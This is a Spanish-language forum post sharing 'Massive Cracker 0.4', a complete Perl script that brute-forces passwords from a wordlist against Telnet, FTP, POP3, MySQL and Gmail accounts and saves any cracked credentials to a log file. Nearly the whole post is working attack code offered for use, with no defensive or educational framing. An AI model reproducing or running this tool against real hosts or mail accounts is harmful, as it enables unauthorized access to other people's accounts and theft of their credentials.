[Perl] Massive Cracker 0.4

[BigBear]

Nueva version de este programa para crackear el siguiente tipo de cuentas

• Telnet
  
• FTP
  
• POP3
  
• Mysql
  
• Gmail
  
  Tambien le quite la opcion de Hotmail la cual era obsoleta.
  
  El codigo
  
  
  Código (perl) [Seleccionar] Expandir
  
#!usr/bin/perl
#Massive Cracker 0.4
#Coded By Doddy H
#http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd
#ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
#http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod

use Net::FTP;
use Net::POP3;
use Net::Telnet;
use DBI;

use Mail::POP3Client;
use IO::Socket::SSL;

head();

print "[+] Option :  ";
chomp( my $op = <stdin> );

if ( $op eq "1" ) {

    my ( $host, $user, $word, $time ) = form1();
    my @words = openwordlist( $word, "Telnet" );

    for my $pass (@words) {
        chomp $pass;
        sleep($time);
        $telnet = new Net::Telnet( Errmode => "return" );
        $telnet->open($host);
        if ( $telnet->login( $user, $pass ) ) {
            yeah( $host, $user, $pass, "Telnet" );
        }
        $telnet->close;
    }

    print "\n[-] Password Not Found\n";

}

elsif ( $op eq "2" ) {

    my ( $host, $user, $word, $time ) = form1();
    my @words = openwordlist( $word, "FTP" );

    for my $pass (@words) {
        chomp $pass;
        sleep($time);
        $ftp = Net::FTP->new($host);
        if ( $ftp->login( $user, $pass ) ) {
            yeah( $host, $user, $pass, "FTP" );
        }
        $ftp->quit;
    }

    print "\n[-] Password Not Found\n";

}
elsif ( $op eq "3" ) {

    my ( $host, $user, $word, $time ) = form1();
    my @words = openwordlist( $word, "POP3" );

    for my $pass (@words) {
        chomp $pass;
        sleep($time);
        $pop = Net::POP3->new($host);
        if ( $pop->login( $user, $pass ) ) {
            yeah( $host, $user, $pass, "POP3" );
        }
        $pop->quit();
    }

    print "\n[-] Password Not Found\n";

}

elsif ( $op eq "4" ) {

    my ( $host, $user, $word, $time ) = form1();
    my @words = openwordlist( $word, "Mysql" );

    $target = "dbi:mysql::" . $host . ":3306";

    for my $pass (@words) {
        chomp $pass;
        sleep($time);
        if ( my $now =
            DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
        {
            yeah( $host, $user, $pass, "Mysql" );
        }
    }

    print "\n[-] Password Not Found\n";

}

elsif ( $op eq "5" ) {

    my ( $user, $word, $time ) = form2();
    my @words = openwordlist( $word, "Gmail" );

    for my $pass (@words) {
        chomp $pass;
        sleep($time);
        my $so = IO::Socket::SSL->new(
            PeerAddr => "pop.gmail.com",
            PeerPort => 995,
            Proto    => "tcp"
        );

        my $nave = Mail::POP3Client->new();

        $nave->User($user);
        $nave->Pass($pass);
        $nave->Socket($so);

        if ( $nave->Connect() ) {
            yeahmail( "Gmail", $user, $pass );
        }

        $so->close();
        $nave->close();
    }
    print "\n[-] Password Not Found\n";
}

else {
    print "\n\n[+] Bad Option\n";
}

copyright();

sub yeah {

    print "\a\a\n[+] Cracked\n\n";
    print "[+] Host : $_[0]\n";
    print "[+] Username: $_[1]\n";
    print "[+] Password : $_[2]\n";

    savefile( "cracked-logs.txt",
        $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );

    copyright();

}

sub yeahmail {

    print "\a\a\n[+] Cracked\n\n";
    print "[+] Account Type : $_[0]\n";
    print "[+] Username : $_[1]\n";
    print "[+] Password : $_[2]\n";

    savefile( "cracked-logs.txt", $_[0] . ":" . $_[1] . ":" . $_[2] );

    copyright();

}

sub openwordlist {

    my ( $file, $tipo ) = @_;

    print "\n[+] Opening file\n\n";

    unless ( -f $file ) {
        print "\n[-] File not found\n";
        copyright();
    }

    open( FILE, $file );
    my @words = <FILE>;
    close FILE;

    print "[+] Words Found : " . int(@words) . "\n\n";
    print "[+] Cracking service $tipo\n\n";

    return @words;

}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub form1 {

    print "\n[+] Host : ";
    chomp( my $host = <stdin> );
    print "\n[+] User : ";
    chomp( my $user = <stdin> );
    print "\n[+] Wordlist : ";
    chomp( my $word = <stdin> );
    print "\n[+] Timeout : ";
    chomp( my $time = <stdin> );

    return ( $host, $user, $word, $time );

}

sub form2 {
    print "\n[+] Email : ";
    chomp( my $email = <stdin> );
    print "\n[+] Wordlist : ";
    chomp( my $word = <stdin> );
    print "\n[+] Timeout : ";
    chomp( my $time = <stdin> );
    return ( $email, $word, $time );

}

sub head {
    print qq(

@     @                                    @@@@                 @             
@     @                                   @    @                @             
@@   @@                                   @                     @             
@@   @@   @@@   @@   @@  @ @   @  @@@     @      @@  @@@   @@@  @  @   @@@  @@
@ @ @ @      @ @  @ @  @ @ @   @ @   @    @      @      @ @   @ @ @   @   @ @
@ @ @ @   @@@@  @    @   @  @ @  @@@@@    @      @   @@@@ @     @@    @@@@@ @
@  @  @  @   @   @    @  @  @ @  @        @      @  @   @ @     @ @   @     @
@  @  @  @   @ @  @ @  @ @   @   @   @    @    @ @  @   @ @   @ @  @  @   @ @
@     @   @@@@  @@   @@  @   @    @@@      @@@@  @   @@@@  @@@  @   @  @@@  @

                             
                                                   
                                           
                                              Coded By Doddy H





[++] Services

[1] : Telnet
[2] : FTP
[3] : POP3
[4] : Mysql
[5] : Gmail



);
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

#The End ?